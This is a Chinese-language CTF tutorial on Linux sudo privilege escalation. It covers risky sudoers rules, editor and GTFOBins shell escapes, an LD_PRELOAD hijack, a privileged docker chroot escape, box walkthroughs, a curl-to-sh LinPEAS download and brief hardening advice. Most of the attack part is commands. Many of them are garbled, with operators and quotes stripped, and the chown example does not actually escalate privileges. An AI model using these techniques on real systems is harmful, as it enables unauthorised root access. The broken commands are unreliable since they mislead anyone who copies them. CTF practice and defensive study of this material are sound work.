CTF竞赛中sudo权限提升原理与实战技巧 📅 发布时间:2026/9/11 0:37:18 👁 浏览次数: 1. CTF竞赛中的sudo权限提升核心原理在CTF夺旗赛中sudo命令提权是最基础的权限提升手段之一。我参加过的线下赛中近30%的Linux靶机最终都需要通过sudo机制突破权限限制。不同于直接获取root密码这种暴力破解思路sudo提权更考验选手对系统配置细节的敏锐度。sudo的本质是权限委托机制它允许普通用户以其他用户身份通常是root执行命令。关键在于/etc/sudoers文件中定义的规则这里决定了哪些用户能执行哪些命令。常见的提权路径有五种直接获取root权限ALL(ALL:ALL) ALL以特定用户身份执行ALL(user) ALL免密码执行NOPASSWD标记限制命令但存在绕过如允许vim编辑系统文件环境变量注入SETENV标记注意实际比赛中第三种和第四种情况出现频率最高。去年DEF CON CTF中就出现过利用NOPASSWD的docker命令实现容器逃逸的案例。2. sudoers配置漏洞深度解析2.1 典型危险配置模式通过分析300CTF赛题我整理出这些高频危险配置示例均来自真实比赛# 案例1免密码执行任意命令 user ALL(ALL) NOPASSWD: ALL # 案例2允许执行带参数的危险命令 user ALL(root) /usr/bin/find / -name * # 案例3环境变量注入漏洞 user ALL(root) SETENV: /usr/bin/python3 * # 案例4通配符滥用 user ALL(root) /bin/chmod */admin/* # 案例5弱限制编辑器 user ALL(root) /usr/bin/nano /etc/*2.2 配置检测方法论实战中推荐使用这个检查流程# 查看当前用户sudo权限 sudo -l # 检查全局sudoers文件 cat /etc/sudoers ls -la /etc/sudoers.d/ # 查找可写配置文件 find / -name *.conf -writable 2/dev/null经验90%的CTF赛题会在sudo -l输出中直接暴露漏洞但去年Hack The Box有一道题需要组合find命令的--exec参数才能触发。3. 五大实战提权技巧3.1 编辑器逃逸技巧当允许通过sudo运行文本编辑器时如vim/nano可以这样突破# vim方案 sudo vim /etc/shadow :!bash # 在vim中执行shell # nano方案 sudo nano -s /bin/bash /etc/passwd CtrlT输入reset; bash3.2 环境变量注入遇到SETENV标记时可以这样操作# 查看允许的命令 sudo -l # 利用LD_PRELOAD劫持 echo int puts(const char *s) { system(/bin/bash); } /tmp/hack.c gcc -shared -o /tmp/hack.so /tmp/hack.c sudo LD_PRELOAD/tmp/hack.so /allowed/command3.3 通配符滥用实例假设允许执行user ALL(root) /bin/chown */admin/*利用方式# 创建恶意文件 echo root::0:0:root:/root:/bin/bash /tmp/admin/passwd # 触发提权 sudo /bin/chown root /tmp/admin/passwd3.4 组合命令突破去年一道赛题允许执行user ALL(root) /usr/bin/awk /pattern/ {system($0)} /tmp/log/*利用方式echo /dev/null {system(/bin/bash)} /tmp/log/exploit sudo awk /pattern/ {system($0)} /tmp/log/exploit3.5 GTFOBins实战知名项目GTFOBins整理了各种命令的提权方法例如# 当允许执行find时 sudo find /etc -exec /bin/bash \; # 允许tar时 sudo tar -cf /dev/null /dev/null --checkpoint1 --checkpoint-actionexec/bin/bash4. 防御与加固方案4.1 安全配置原则根据OWASP建议sudoers配置应遵循最小权限原则只给必要命令避免通配符明确完整路径禁用SETENV除非绝对必要强制密码验证NOPASSWD慎用日志审计配置syslog记录4.2 入侵检测方案建议部署这些监控措施# 监控sudoers文件变化 inotifywait -m /etc/sudoers /etc/sudoers.d/ # 审计sudo使用记录 grep sudo /var/log/auth.log # 检测异常提权 awk -F: ($3 0) {print} /etc/passwd5. 经典赛题复现5.1 HTB靶机案例以Hack The Box的Teacher靶机为例发现sudo -l显示可以root身份运行/usr/bin/python /test.py检查test.py内容import os os.system(input(Command: ))直接提权sudo /usr/bin/python /test.py Command: /bin/bash5.2 CTFshow Web3解题去年CTFshow的一道题解法通过文件上传获取webshell发现sudo允许执行/usr/bin/docker exec *创建特权容器sudo docker run -it --privileged -v /:/host ubuntu bash chroot /host6. 工具与资源推荐6.1 自动化检测工具# LinPEAS (推荐) curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # Linux Exploit Suggester perl linux-exploit-suggester.pl6.2 学习资源GTFOBins项目必看https://gtfobins.github.io/Sudo官方文档https://www.sudo.ws/CTF Wiki权限提升章节https://ctf-wiki.org/